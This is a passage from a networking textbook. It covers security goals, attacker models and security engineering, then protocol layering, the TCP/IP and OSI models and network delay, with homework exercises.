thus connecting the physical and the Internet worlds. In order to realize this
vision, the corresponding Internet technologies (hardware and protocols) need
to have their simplified and standardized IoT counterparts. Even though things
are very limited in their processing and storage capacities, the IoT provides
processing and storage capacities to analyze such data by defining places where
these resources are available: distributed decentralized computing and storage,
remote cloud computing and storage, and solutions in between.

1.7 Network Security

We entrust networks with our social life (e.g. social networks), our money (e.g.
Internet banking), our health (e.g. electronic health records) and more. The
high value combined with the fact that networks inherently connect multiple
parties, each with their own interests, means that they are a natural target for
attackers. Ensuring security of networks is thus of paramount importance. Yet
what does that exactly mean? Which security goals of which stakeholders are
important to achieve?
1.7. NETWORK SECURITY 25
Peter Steiner 1993

2008
Nik Scott
Figure 1.19: Two views on privacy on the internet

1.7.1 Security and Network Security Goals

Networked systems (simple apps, complex networks, complete IT infrastructures)
operate in environments involving different interconnected parties each with
their own agenda (goals), which may not match with the goals of other parties
of the system as whole. As such, it is essential to also consider the security
requirements of systems (i.e. what should not go wrong), not only their functional
requirements (i.e. what the systems should achieve).
“Is your system secure?” What does this question actually mean; does it
mean that nobody but you can use it; can throw it out the window; can keep
you from using it...? Security requirements are expressed in terms of security
attributes that express goals that one may want to achieve to call a system
‘secure’. The most commonly used and widely accepted security attributes are
Confidentiality, i.e. ‘my information stays secret’, Integrity, i.e. ‘my information
stays correct’, and Availability, i.e. ‘I can get at my information’ (sometimes
called the C-I-A triad). Of course these concepts can also refer to resources or
system aspects other than just ‘information’.
In addition to Confidentiality, Integrity and Availability (‘C-I-A’) other
security attributes are sometimes formulated. Closely related but not usually
called a security attribute is Privacy, i.e. ‘information about me is not misused’.
Note the difference between Confidentiality and Privacy: where confidentiality
requires data that you possess to remain secret, privacy deals with data about
you that may be in the hands of others. While ‘who gets the data’ is a key
question in confidentiality, the purpose for which data is used is a key ingredient
for privacy.
Other examples of security attributes are: Authenticity, i.e. ‘is this information
authentic (i.e. of undisputed origin)’, Non-repudiation, i.e. ‘is this information
undeniable’ and Accountability, i.e. ‘is the information provider accountable
(can we punish the provider if the information is incorrect)’. Authenticity is
26 CHAPTER 1. INTRODUCTION

different from integrity in that it focuses on data coming from the ‘correct’ source
rather than on data not being changed along the way. A signature on a contract
would be an example of a way to achieve non-repudiation; you cannot later deny
agreeing to the conditions in the contract. The relation between accountability
and non-repudiation is similar to that between integrity and authenticity; non-
repudiation can be an important part of achieving accountability but is by itself
not sufficient.
The security requirements together with the security policies of a system
tell you what attributes should be achieved when (in which context). The
requirements will typically say what security attributes should be achieved by
which components and/or for what type of resources (e.g. confidential database
entries should only be readable by user with the right clearance). Security
policies detail this e.g. by stating what type of data is confidential and what
(types of) users have clearance. Security requirements are an integral part of
the design of the system while changes of policies is typically taken into account
and should not invalidate the design. Note, however, that the term security
policy is widely used and the exact interpretation varies. It could be a high
level textual description meant to be understood and applied by human beings,
e.g. “all personal identifiable information must only be read when needed to
provide a service” to low level computer readable information e.g. “drwxr-xr-x”5 .
Translating high level policies into a systems design along with low level policies
is an important step of creating a secure system.
The exact meaning of a security policy can be given within a security model ;
a (formal) framework to express and interpret policies. For example, the Unix file
permission given above can be interpreted as a relation between Users, Groups,
Objects and Permissions: An object (e.g. a directory) has an owner user and a
group (an additional part of the security policy) and the owner of the object has
read, write and execute permission, while members of the group as well as other
users have only read and execute permission.

1.7.2 Threats
The security attributes of the system may be at risk from several types of threats.
Besides the usual problem such as program errors and system failures, security
also needs to address malicious entities, which are specifically trying to break the
system. This is very challenging; every day seems to bring new security incidents
where attackers are able to exploit (previously unknown) security weaknesses.
Although this may give a skewed perspective (a system remaining secure yet
another day will not make the news), it does show the importance of applying
the right mechanisms for securing your system.
To decide what the right mechanisms are to achieve the security requirements
of the system, we need to know whom we want to protect against. Protecting
information in a database from an outsider requires different solutions than
protecting it from the database administrator. We thus need an attacker model.
This attacker model captures the capabilities and possibly the intentions of
an attacker. For example, in a network setting we may distinguish between
attackers that can only listen in (eavesdrop) and those that can block and/or
modify communication.
5A Unix-style file “read-write-execute” permission setting.
1.7. NETWORK SECURITY 27

Attacker models can be general, e.g. IBM’s classification of attackers into

three categories (clever outsiders, knowledgeable insiders and funded organi-
zations); or formal, e.g. those used in analysis of cryptographic algorithms
(e.g. Chosen-Plaintext-Attack (CPA) where the attacker is able to get encryp-
tions of plain text she has chosen). Any security analysis will need both the
security goals (attributes/policy) and the attacker model. Sometimes these are
left implicit but they remain key ingredients; the question ‘is this system secure?’
has no meaning without them. Not properly considering them is a common
cause of security problems.

1.7.3 Security Engineering

A chain is no stronger than its weakest link. This is also the case for the security
of a system. Consider for example the following aspects of a system and some
potential issues.

Design There is no hope of having a secure system if the system design does
not address security goals or worse has inherent features/goals that imply
security problems. As an example consider the Windows Meta File (WMF)
where arbitrary code execution, a clear security risk, is a design feature.
As another example one can consider the Internet; initially the Internet
linked a group of trusted systems. Security goals that are very important
now were thus not under consideration in its design, e.g. no protection of
content, any computer can claim to have an IP, no authentication of DNS,
etc. Of course there are currently security mechanisms (IPsec, HTTPS,
etc.) that try to remedy this but ‘add on security’ is always problematic -
security needs to be considered from the start.

Software quality A perfect design does not help if the implementation is

flawed. Often security issues are caused by software bugs with buffer
overflow vulnerabilities being one of the major issues. In buffer overflow
attacks input from an untrusted source is written into a buffer without
the bounds of the buffer being checked. This causes the untrusted data to
be written to places it is not supposed to go; it may overwrite a return
address on the stack, causing a jump to an attacker selected location at
the end of the current routine.
The problem of software bugs is not solved easily; e.g. an unsolved buffer
overflow vulnerability was reported in Windows 7 and in January 2011
Microsoft shipped fixes for 22 vulnerabilities. The ‘heartbleed bug’ (see
Figure 1.20) is a recent example of a software flaw related security incident
with wide media coverage. Note that software and systems evolve. It is
not the case that each round of patching brings us closer to a final secure
and bug free system.

Security Tool Selection Choose your crypto well, especially if you are a mafia
boss. From a news article: “...He apparently wrote notes to his henchmen
using a modified form of the Caesar Cipher, which was easily cracked by
the police and resulted in further arrests of collaborators...” Clearly here
the selected security tool was grossly insufficient to reach the security goal.
28 CHAPTER 1. INTRODUCTION

Figure 1.20: Heartbleed explained (xkcd.com)

1.7. NETWORK SECURITY 29

This is an extreme example but often inappropriate security tools are

used or tools are used well past their ‘best before/replace by’ date such
as the hash function MD5, which has been known to be vulnerable for a
long time but is only slowly being phased out. Using ‘home-made’ crypto
solutions instead of tried and proven standard algorithms would also fit in
this category. A good practice is to leave design of crypto to the experts;
obscurity of a design is not a good replacement for their experience and
expertise.
System usage Even a perfectly designed and implemented security architecture
(should one ever be created) is of no help if it is not used correctly. USB
data sticks that offer encryption of their content are readily available and
company policy may state that the encryption of such sticks should be used.
However, if the user does not enable this feature this is all for nothing.
Users have different priorities; e.g. ease of use; and many do not use security
features or will even try to work around them if they interfere with what
they are trying to do.
Of course these are only examples and there are many more aspects of a
system where a weak link in the security chain may occur. The key points are
that one needs to consider the system as a whole and consider security from the
start.
We have already seen some security tools (means) above and later we will try
to add key tools to this toolbox, focusing on network scenarios. Cryptography
is an important part of this toolbox. However recall that security tools by
themselves do not make the system secure. A common claim ‘the data is secure
because it is encrypted’ is by itself meaningless and may even indicate that the
security goals and the attacker model have not been sufficiently considered. For
instance, encryption offers no protection against inside attackers who have access
to the key. A good security design determines what security tools need to be
employed where and when, considering the security requirements and the effects
(including trade-offs) different tools have on these requirements.

Trade-offs

“The only truly secure system is one that is powered off, cast in a
block of concrete and sealed in a lead-lined room with armed guards.”
E. Spafford
Such a system may be secure but not very useful. (Actually it may not be secure
at all - Which security attribute is clearly not satisfied? - without the security
goals we cannot answer this question...) There is often a clear trade-off between
security and usability (why do I need to remember that password...), performance
(e.g. using encryption adds computation time) and costs (e.g. replacing pin cards
and readers by smart card enabled versions). There is also a trade-off between
different security attributes e.g. confidentiality and availability. We have to be
able to answer the question: Which trade-offs are worthwhile; e.g. how much
security do we gain for the performance we give up?
Why does security often not get the attention it needs? For one; if it’s
good you do not see it. Would you pay 50 Euro more for a television if it was
30 CHAPTER 1. INTRODUCTION

more secure? Does your answer depend on ‘how much’ more secure? It is also
hard to quantify security. You can say that a ‘product is 2 times faster’ and
convince every consumer with some notion of why and how much better the
product is, even though this statement is usually much more complex than
it seems. However, what does ‘this product is 2 times more secure’ mean?
There are many discussions on which product is more secure, e.g. comparisons
between Windows and Linux, Firefox and Windows Explorer, Mac and PC, etc.
Claims are supported by quoting the number of bugs/vulnerabilities reported,
the number of security incidents, etc. But how well do any of these really reflect
the overall ‘security’ of a system. Thinking back to the earlier discussion about
what is ‘security of a system’ one can see that no single number could really
adequately capture this. Still, what quantification is possible? If we try to focus
our attention on a single aspect of security and a single application area, one
may be able to give some numbers that make sense (just remember that, the
more general the statement the less objective a score is likely to be).
For cryptographic primitives one can look at the (computational) cost of
breaking a system. This is often expressed by the entropy that it offers in a
given setting, e.g. ‘this crypto system offers 80-bits of security’ reflects that
the amount of computation needed to break it is similar to brute-forcing an 80
bits key, i.e. trying 280 different possibilities. This is generalized to a measure
for security of systems by considering the cost (computational or otherwise) of
breaking the system’s security; e.g. it would take 2 years and a budget of 10
million euros to break this system (i.e. violate a specific security goal of the
system).
For web applications several security metrics have been defined by checking
for common security issues and assigning a risk to each of them. For example,
the CCWAPSS common criteria for web application security scoring [8] computes
a score based on a list of eleven criteria. Each criteria has to be checked (rating
the web service on a scale from 1 to 3 for each item) and assigned a risk level
based on the difficulty and impact of an attack.

Security Requirement Engineering

As already mentioned several times (and as will be repeated later in more detail),
to really evaluate the security of a system you have to consider it as a whole,
know the security goals and the potential threats against these goals. To gather
these we need to perform Security Requirement Engineering. Throughout the
design, implementation, deployment and use of a system we should consider the
requirements that the users will have from the system and how attackers will
try to exploit the system. Based on this we can come up with and/or evaluate a
security design, which combines several security solutions to achieve the best
possible trade-offs.
Here we shortly cover one example security requirement approach. Other
approaches may work just as well, what is important is that the security require-
ments are considered throughout in a structured and consistent way.

Identify actors and goals. The first step in gathering the requirements is
determining the stakeholders and their interests. The stakeholders are
those parties with a legitimate interest in the system that we are designing.
Their interest and goals thus have to be considered (though not necessarily
1.8. SUMMARY 31

completely reached - we may need to make trade-offs between the different

goals of the participants).
The stakeholders and their interests become the initial actors and goals in
the requirements gathering process. If an agent has the right capabilities, it
may adopt a goal, i.e. take responsibility to achieve it. If an agent does not
adopt the goal it may be delegated to other agents (either existing or new)
or be split into new sub goals. Agents do not work in isolation; agents and
their goals may depend on/interact with each other. These dependencies
should be identified and could lead to new goals and/or agents. They also
lead to potential vulnerabilities, e.g. when agents’ goals conflict.
So far the process matches a typical functional requirement engineering
approach. In order to deal with security requirements we also need to
consider attackers and possible attacks on the system.

Identify attackers, vulnerabilities and attacks. Outsiders may try to at-

tack our system and they need to be considered along with their goals.
However, also the risk of attacks by insiders needs to be accounted for.
Each agent in the system could potentially become an attacker, using its
capabilities and place in the system to reach their goals at the expense of
the goals of other agents. Both type of attackers are modeled as agents in
the system but with malicious intent as their goal.
Based on vulnerabilities and the malicious intent of attacker agents we iden-
tify potential attacks and assign countermeasures to protect against such
attacks. The countermeasures themselves may lead to new actors/goals
and/or open the possibility for new attacks which need to be considered.
Refinement of the system continues until all goals have been assigned,
dependencies taken into account, and vulnerabilities addressed.

1.8 Summary
The goal of this chapter was to introduce the most basic and fundamental
concepts of computer networks and network security, as well as the motivations
for their existence. You now know the principle nuts and bolts of a computer
network, the idea behind network protocols and protocol layering. A simple
overview of the Internet and the Internet protocol stack have been provided in
our discussion, together with an outlook into the future of the Internet dominated
by machine-to-machine communication, i.e. the Internet of Things. After our
security discussion, you will never look at the word ‘secure’ in the same way
again: Whenever you encounter ‘secure’ always think - what set of security
requirements (which security attributes for which resources) are really meant
by ‘secure’ (what are the security policy and model) and what type of attacker
is considered (what is the attacker model). The notions introduced here will
return in more detail in the chapters that follow.
32 CHAPTER 1. INTRODUCTION

1.8.1 Literature
Other required reading

• Article titled “A goal oriented approach for modeling and analyzing security
trade-offs” [15].

– http://www.cs.utoronto.ca/~gelahi/GEER-ER07.pdf

• CCWASPSS white paper [8] (provides a basic method for quantifying

website security).

– https://dl.packetstormsecurity.net/papers/web/ccwapss_1.1.pdf

Suggested reading

• Section 8.1 of the book Computer Networking: A Top-Down Approach by

Kurose and Ross [20, Sec 8.1].

• Chapter 1 of the Security Engineering book by Anderson [3, Ch 1]. The

book provides a nice high level overview and in particular the first chapter
introduces the concept of security engineering.

• The OWASP website www.owasp.org. The website provides articles on

network security and is a good index for many security terms, attacks,
tools, etc. In particular ‘the OWASP top 10’ is a well known overview of
important security threats.

1.9 Homework Exercises

1. What type of embedded system corresponds to the ants in the network
analogy of the ant colony?

2. Name two regulations on the Internet by the government of your home

country.

3. Name one disadvantage of the store and forward behavior. (Specifically of

store and forward, not e.g. of packet switching vs circuit switching. Note
that store and forward behavior could in theory also be used within a
circuit switching network.)

4. Consider a prescription for medicine from your GP (General Practitioner)

that is filled by a pharmacy sending the medicine to your home. For each
of the following security violations, indicate the main/primary security
attribute (including privacy) that is violated.

• Another patient reads the prescription.

• You change the prescription from 1 to 10 pills.
• The prescription is signed by someone who is not an MD (Doctor of
Medicine).
• The GP denies signing the prescription.
1.9. HOMEWORK EXERCISES 33

• The pharmacy sends you your prescription at home but also starts
sending you advertisements for products.
• Your medicine is lost in the mail.

5. Consider again the prescription for medicine from your GP that is filled
by a pharmacy sending the medicine to your home mentioned in the
review questions. Create a (textual) security policy for this scenario which
describes which security properties(attributes) must be satisfied when.
Indicate the involved security attributes for different statements in your
policy.
6. An online music store allows its members to listen to music with embedded
ads for free and to download music without ads for a fee. Members can also
recommend songs to other members and get a free ringtone if at least five
people listen to a song based on this recommendation. Do the first steps
in a basic ‘security requirements engineering’ for this scenario: identify
actors, their interests and interdependencies. Also find attackers and their
goals. (As we discuss security tools in later chapters, you can enhance this
design by extending it with potential countermeasures.)
7. Find a security related news article and analyze it (collect some background
information when needed).
• What is the security issue in this article? Is it related to availability,
confidentiality, integrity?
• For a security incident; what was the failure, why did it occur, how
could it have been prevented, how should it be solved?
• For a solution/technology; what problem is solved, how can it be
used, will it work?
• For an opinion/analysis/...; do you agree, what are possible other/-
counter arguments?
• For a more general article; what is the issue you have identified, did
the article address this issue? How well is the issue described, does
the article get the key points correct? Did it miss any issues?
• Is the article biased/one-sided? Does it consider the issue from the
perspective of different stakeholders?
• Do you agree with the conclusion of the article?
Chapter 2

Network Protocols and

Protocol Layers

In this chapter, we try to answer the following questions:

• What is a protocol? How are protocols used in computer networks?

• What does protocol layering mean? How is it useful?

• What are well-known layered network protocol stacks?

• What are the factors that affect network performance?

2.1 Network Protocols

Protocols determine the way of operation and define the procedure and rules
that are governing. Remember the example of the ant colony that we gave earlier.
Each member of the ant colony implements a simple protocol in searching for
food. The following three rules apply, where the timing of applying these rules
are given in bold fonts.

1. Always leave a trail of pheromone wherever you go.

2. Whenever you come across existing trails that are stronger, join them.

3. Once you find food, follow the pheromone trail back to the nest.

Figure 2.1 shows a typical purchase protocol defining the way we buy food
at the cafeteria. An important observation is that the cashier starts serving
the user only after the user has waited for her turn in the queue. Some sort of
greeting (“Hello” in this example message flow diagram) starts their interaction
and another greeting (“Bye” in this example) ends their interaction. After this
point the cashier can start serving the next customer.
Note that the figure shows only the “relevant” interactions and skips details
such as “the customer takes out her wallet”. In general, the description of a
protocol should be as detailed as needed. Details that do not matter are skipped.
For example, a certain customer may not carry a wallet and just keep the money

34
2.2. PROTOCOL LAYERING 35

Figure 2.1: A customer-cashier protocol at a cafeteria.

in his pocket. Protocols are detailed further until all ambiguities regarding the
operation are completely removed.
As another example; there is social protocol in every culture. In the Nether-
lands, during a conversation, one has to wait until the other person stops speaking.
Interrupting others when they are speaking is perceived as rude behavior. Like-
wise, one who is speaking should give others the opportunity to respond. This
is how you can get a conversation going. Looking at your mobile phone while
someone is talking to you is impolite.

The governance of computer networks by network protocols is not

any different. They define exactly how the interaction sequence between entities
and the corresponding actions must be in order to achieve some networking goal.
Networking goals are of many sorts and at different levels of a computer network.
For example, a networked application’s goal is to exchange application messages
between remote processes and using this for the application’s main purpose (e.g.
file sharing). The networking goal of routing is to deliver messages end-to-end
from a source device to a destination device.

Definition 2.1.0.1 Network Protocol

A network protocol is a predefined set of messaging rules and message struc-
tures that the communicating entities in a computer network must follow.

2.2 Protocol Layering

Computer networks are diverse and complex. In fact, the complexity is a direct
result of diversity. The diversity stems from the need for including end devices
(hosts) that are

• of many sorts, models and capacities;

36 CHAPTER 2. NETWORK PROTOCOLS AND PROTOCOL LAYERS

Figure 2.2: Protocol layering: Layers above use the services of the layers below.

• from many different vendors;

• running different applications;
• with different operating systems and middleware;
• over many types of access networks and link technologies;
• with different usage requirements (e.g. mobile versus immobile).

Large networks like the global Internet have to deal with the complexity at
the corresponding large scale. For example, a message created by an electric car
about its usage patterns while it is on the move should be able to find its way
to a database implemented in a large server rack of the car company somewhere
across the globe.
A protocol layer refers to a group of related functions that are performed in
a given level in a hierarchy (of groups of related functions). Protocol layering
divides complex network protocols into simple network protocols. Protocol layers
above make use of the functions of the layers below as depicted in Figure 2.2. A
set of horizontal protocols together with the interactions between the different
layers define a layered protocol stack.
As an analogy, consider the following list of horizontal protocols that govern
a restaurant environment and the way of operation there.

• A seat management protocol: Defines the way seating is realized (e.g.

first-come-first-serve or reservation system).
• A table set-up protocol: Defines the operation of the waiters for setting
up cutlery and plates.
• A table cleaning protocol: Defines the operation of the cleaning personnel
for cleaning the tables.

Note that the table set-up protocol needs the services of the table cleaning
protocol (tables are first cleaned and then set up). Similarly, the seat management
protocol needs the services of the table set-up protocol (table needs to be set-up
before it can be given to customers). One thing to notice here is that each of
these individual protocols can be modified independently, without affecting the
2.3. NETWORK PROTOCOL STACKS 37

Figure 2.3: Protocol stack consisting of restaurant protocols.

other protocols. For example, the cleaning personnel can change and they can do
cleaning differently. However, this changes nothing in the table set-up protocol.
The corresponding protocol stack is shown in Figure 2.3.
It is also possible to make a vertical (monolithic) protocol design without
using protocol layering; i.e. a single protocol that governs communication. In
vertical protocol design, each new application has to be re-implemented per
device type, per operating system, per access link technology.
While dealing with complexity, layering brings overhead, i.e. the performance
of a layered protocol stack is sub-optimal (extra headers, extra processing, etc.).
For that reason, for applications with simple communication, where resource
management and optimization is the main concern and where there is a dedicated
(embedded) hardware platform, a vertical design may be preferable. For example,
consider sending a robot to Mars. The software of the robot has to be optimized
such that a lot of functionality can fit in a small volume and weight. In the past
vertical protocol design for embedded wireless sensor devices was the common
practice due to severe lack of resources. It is not anymore since current devices
in classes D1 and above are able to manage lightweight Internet protocol stacks.
Horizontal protocol design and protocol layering are our choices when sim-
plicity and convenience are the main concerns instead of resource optimization.
Internet would not have been possible without protocol layering.

2.3 Network Protocol Stacks

A protocol stack is a set of layered horizontal protocols. Figure 2.3 depicts an
example protocol stack for the restaurant environment. A network protocol
stack does the same in network environments. Each layer uses the services of
the layer below, and it provides its services to the layer above.
Protocol layering and protocol stacks enable MANY applications on top of
MANY physical and link layer technologies. This is shown in Figure 2.4.
There are many protocol stacks for many different purposes. In the following
subsections we are going to look at two widely known protocol stacks: i) the
Internet protocol stack, and ii) the OSI reference model. The protocol stacks
that are widely accepted for wireless sensor networks, vehicular communication
networks and others will look possibly more complex and detailed. The “good”
1 See device classes in Chapter 1.
38 CHAPTER 2. NETWORK PROTOCOLS AND PROTOCOL LAYERS

Figure 2.4: Network protocol stacks allow convergence from a large set of
physical layers to protocols and divergence from protocols towards a huge set of
applications. (Figure by Johan Lukkien).

news is, we will not go into very complex protocols in this course. However,
the fundamental knowledge that you acquire in the course should enable you to
study any protocol stack and understand it easily.

2.3.1 Internet (TCP/IP) Model

The Internet protocol stack shown in Figure 2.5 is often referred to as the
TCP/IP protocol stack, after the two dominating protocols TCP (transport
layer) and IP (network layer).

Figure 2.5: The Internet protocol stack.

2.3. NETWORK PROTOCOL STACKS 39

(5) Application Layer: There are millions of Internet applications. There

can also be many instances of a certain type of application. Just think about how
many alternatives you have for a web browser. It is not possible (nor desirable)
to standardize applications and how they utilize communication. Otherwise all
web browsers would behave the same. Therefore, the applications themselves
and how they use the information that they communicate are not concerns of
the application layer. What the application layer (layer 5) provides instead is
a well-defined protocol interface and message formats to applications running
on top of them. The world-wide web is enabled because every web browser
developer makes use of such interface of the underlying application protocol
and every web browser communicates to web servers using the same rules and
message formats (i.e. the HTTP protocol that we will cover later).

(4) Transport Layer: The transport layer (layer 4) is responsible for transport
of application layer messages between (remote) processes. The transport layer
protocol must keep track of application data from several processes and package
those in transport layer packets called segments with certain labeling. It relies
on the network layer (layer 3) for delivery of segments between the end-devices
containing the processes. The receiver side of the transport layer protocol delivers
the messages within those segments to the corresponding receiver processes using
the segment labeling. In addition to process-to-process delivery, transport layer
services also include reliable data transfer, flow control (match speed between
sender and receiver), and congestion control (keep the network load below
capacity).

(3) Network Layer: The network layer (layer 3) is responsible for end-to-end
packet delivery between two devices (from the original source to a destination)
that are attached to different (sub)networks. A network layer packet is called
a datagram and contains a transport layer segment as its payload. Other
important services of the network layer are logical addressing, routing, error
handling and quality of service control. In their end-to-end path from source to
destination, datagrams pass through many routers and links between routers.
The network layer relies on the services of the link layer (layer 2) for delivery on
a single link, e.g. between two consecutive routers.

(2) Data Link Layer: A link layer (layer 2) packet is called a frame. It
contains a network layer datagram, which it carries to the next node (either a
router or the destination host) on the end-to-end route. Link layer services also
include physical addressing, medium access control (MAC), link flow control
and error handling. A link can be wired or wireless. The set of all devices
interconnected via the link layer is is called a network or a subnet.

(1) Physical Layer: The physical layer (layer 1) operates on individual bits
and it is responsible for moving bits (actually, electrical, optical, magnetic or
radio signals representing bits) from one node to the next. The original design
of the TCP/IP protocol suite did not have this layer and it was added later.
40 CHAPTER 2. NETWORK PROTOCOLS AND PROTOCOL LAYERS

Figure 2.6: The OSI reference model.

2.3.2 OSI Reference Model

The design of the Internet model is older than the Open Systems Interconnection
(OSI) model developed by the International Organization for Standardization
(ISO) and it is widely used in practice.
The OSI model shown in Figure 2.6, however, provides a generically accepted
conceptual reference model of a layered protocol stack for data networks. In
comparison to the Internet protocol stack, it includes two extra layers called
presentation layer and session layer. The basic principles behind the OSI design
are:

• Create a layer when a different abstraction is needed.

• Implement in each layer a well-defined service.
• Minimize information flow across the interfaces.
• Choose services of the layers by taking into account internationally stan-
dardized protocols (i.e. their services).

Because of the last principle, the OSI design and the Internet design bear
a lot of similarities. In fact, the five layers of the Internet protocol stack are
equivalent to the layers 1, 2, 3, 4 and 7 of the OSI protocol stack.

Presentation Layer: Sometimes the data sent from the source needs to
be translated into a different format for the destination to understand. The
presentation layer deals with the differences in data representations of the
communicating entities in terms of syntax. It translates different character
sets of hosts using different operating systems to each other, e.g. convert a
text file that is ASCII-coded to its EBCDIC-coded version. Compression and
decompression of data can be implemented in this layer. Some encryption and
2.4. SERVICES OF A PROTOCOL LAYER 41

Figure 2.7: Example protocol stacks in relation to the OSI model. (Figure by
Radovanovic)

decryption protocols can also be implemented, e.g. the Secure Sockets Layer
(SSL) protocol. Many network protocol stacks lack this layer since the associated
functions are often not needed and they can be implemented in the other layers.

Session Layer: The role of the session layer is to establish, maintain and close
communication sessions, i.e. a persistent connection and the corresponding data
exchange between two remote processes. An example of a session is a voice call
session.
Figure 2.7 gives an overview and examples of different instantiations of the
OSI model by different parties.

2.4 Services of a Protocol Layer

Protocol layers serve each other. More specifically, the protocol layer N serves
the protocol layer N+1 as shown in Figure 2.8.
“A service is a set of primitives (operations) that a layer provides
to the layer above it...”
A. Tanenbaum

Note that services are not the same as protocols. A service defines
what operations can be performed but it says nothing about how these operations
are performed. A service interface between different layers defines how to
access the services of the lower layer. A protocol, on the other hand, determines
how exactly the service is implemented and defines a set of rules and packet
formats for this purpose.
Data encapsulation is a typical service of a protocol layer. Every protocol
layer (except layer 1 which only deals with bits and not data units) implements
data encapsulation as one protocol layer’s data is payload for the layer below it.
Every protocol layer deals with its own type of packet, and its own protocols,
42 CHAPTER 2. NETWORK PROTOCOLS AND PROTOCOL LAYERS

Figure 2.8: Service provided by layer N to layer N+1.

Figure 2.9: Data encapsulation in the Internet.

without depending on the other layers. Figure 2.9 shows data encapsulation in
the Internet.
As mentioned earlier, in the Internet terminology:

• A message is a layer 5 (application) packet.

• A segment is a layer 4 (transport layer) packet.
• A datagram is a layer 3 (network layer) packet.
• A frame is a layer 2 (link layer) packet.

2.5 Performance: Network Delay, Packet Loss

and Throughput
What is the cause of delay? How does the network lose packets? How much
data can be communicated over a network every second? Actually, the answers
to these questions are somewhat related.
There are four sources of delay in a packet switched network.

Nodal Processing Delay: Routers spend some time doing some simple pro-
cessing for every packet that they receive in one of their network interfaces.
Such processing includes, for example, check for bit errors inside the packet
and determining output link at which the packet needs to be transmitted
2.5. PERFORMANCE: NETWORK DELAY, PACKET LOSS AND THROUGHPUT43

again. This delay component typically contributes a few microseconds or

less to the overall delay.
Queuing Delay: After the nodal processing has been completed, the packet
still has to wait in line in a packet queue at the selected outgoing link of
the router for being transmitted. This is because packets are transmitted
one by one by the routers at each of their outgoing links. The queuing
delay depends on the network packet traffic. If there is congestion in the
network, then the queuing delay becomes by far the dominating factor in
the overall delay.
Transmission Delay: The store and forward behavior means that packets
must experience a transmission delay at each router, i.e. time needed for
fully transmitting all bits of the packet. This happens at each router (and
on each link) that they pass through. The transmission time depends on
the link throughput2 of the link and varies across links as we discussed
earlier. If the outgoing link throughput is R bps and the packet length is
L bits, then the time it takes to send L bits into the link is equal to L/R
seconds. Transmission delay can be significant for slow links.
Propagation Delay: It takes time for a single bit (or the signal symbol repre-
senting the bit) to take the distance across a wire (or wireless medium).
Depending on the transmission medium, the propagation speed of bits is
close to the speed of light. However, even at this speed, the propagation
delay on very long links (e.g. intercontinental or satellite links) becomes
noticeable. This delay (on a single link) is equal to the distance divided
by the propagation speed. The propagation delay can vary from a few
microseconds to hundreds of milliseconds in practice.

The total nodal delay is equal to the sum of the nodal processing delay, the
queuing delay of the node, the transmission delay onto the next link and the
propagation delay experienced on that link.

Definition 2.5.0.1 End-to-End Network Packet Delay

The time difference from the transmission instance of the first bit of a packet
from the source until the reception of the last bit by the destination.

The end-to-end network packet delay is equal to the sum of all four delay
components for all nodes passed through before reaching the destination.
Data packet loss occurs if a packet arrives to a full queue at a router. In
this case, one of the packets in the router’s queue (e.g. the newly arriving packet)
has to be discarded. This is the reason for losing a lot of packets during network
congestion.
If the total delay between the source and the destination is somehow too
high, this may also cause situations which effectively translate to data loss. For
example, a video frame which passed its playback time during a video session is
not useful and cannot be used, i.e. there is no way to fix the past.3
Throughput gives the rate (bits/second) at which the bits that are pumped
into the network by the sender side reach the destination (after some delay, of
2 The rate (bits per second) at which bits are transferred onto a link.
3 On the other hand, such data can still be used by some modern video codecs to increase
the quality of future video frames.
44 CHAPTER 2. NETWORK PROTOCOLS AND PROTOCOL LAYERS

course). For a good user experience, an application that requires processing of R

bits every second (for example, consider streaming of a video that uses R bits to
encode every second of footage) needs a network throughput of roughly R bits
per second. There is a simple reason for this: the video player needs to consume
R bits every second (convert those bits into video frames), which it can only
receive through the network. When the network throughput is consistently lower
than this minimum requirement R the video at the receiver will inevitably freeze
since the receiving device is not getting the bits fast enough to consume them in
a timely manner. This is what you experience when your smart phone switches
from 4G to 3G while you are watching a high-definition YouTube video.

2.6 Summary
The goal of this chapter was to give the motivation for protocol layering and
introduce it as a general network concept. We have explained how this concept
applies to the well-known OSI reference model and to the Internet model.
You should now be able to study layered protocol stacks and understand the
service model provided by each layer. Layering is not optimal performance-
wise. However, the gain from reduced complexity and increased flexibility
(modular design) is so high that protocol layering is widely used in computer
networks. Nevertheless, we also have to acknowledge the existence and the use
of vertical protocols in practice as well. A vertical protocol is a single protocol
that governs the operation of everything all the way from hardware function
to application function. Although this typically results in better performance,
it makes maintenance, management and interoperability very tough (e.g. new
hardware requires changes to the protocol). We also discussed the concepts of
network delay, packet loss and throughput.

2.6.1 Literature
Suggested reading

• Chapter 1 of the book Computer Networking: A Top-Down Approach by

Kurose and Ross [20, Chapter 1].

2.7 Homework Exercises

1. Consider two family houses with 5 members each, living in different cities
and sending each other postcards. The father in each house is responsible
for handling the mailbox (picking up mail brought by the postman and
placing outgoing mail in the mailbox for the postman to collect). The
postman takes the outgoing mail to the local post office, from where it is
delivered to the destination post office by other postmen. Finally, the mail
is delivered by another postman that works at the destination city to the
delivery address. Draw a mail protocol stack and indicate who are in each
protocol layer.

2. What does protocol layering mean? How is it useful?

2.7. HOMEWORK EXERCISES 45

3. Consider the queuing delay in a router buffer with infinite size. Assume
that each packet consists of L bits. Let R denote the rate at which packets
are pushed out of the queue (bits/sec). Suppose that the packets arrive
periodically every L/R seconds. What is the average router queuing delay?
4. How does the average transmission delay affect the average queuing delay?
Consider busy routers with a lot of traffic and explain. (Not asking for a
mathematical relation.)
5. Make a reasonable discussion of how the different delay types contribute
to the end-to-end packet delay in the following cases, i.e. indicate which
delay types are likely to have the most influence on each scenario and why.
• A session between two hosts in Canada and Belgium, outside of peak
hours.
• A session between two hosts in Canada and Belgium, during peak
hours (congestion).
• A session between two hosts in Eindhoven outside of peak hours.
Chapter 3

Application Layer

In this chapter, the fundamental issues addressed by application layer protocols,

their service models and their architectural styles are defined. The service models
that are needed from the transport layer below are discussed. Finally, examples
of well-known application layer protocols are explained. Precisely, we answer
the following questions:

• What are the principles of application layer protocols?

• What services do they need from the layer below?

• What are the supporting architectural models?

• What are the details of example application layer protocols?

3.1 Application Layer Protocol: What is it and

what is it not?
Let us start by stating that an application layer protocol is not an application
by itself! It is a means to easily build protocol-compliant applications on top
and provides the services needed for this.
Many network applications have multiple functions that relate to different
application layer protocols. An application may leave flexibility to the end
user for choosing which implementation of the application layer protocol to use.
Sometimes an application (by design) gives the option to modify the protocol
handler (or plugin) in the application settings. For example, you can choose in
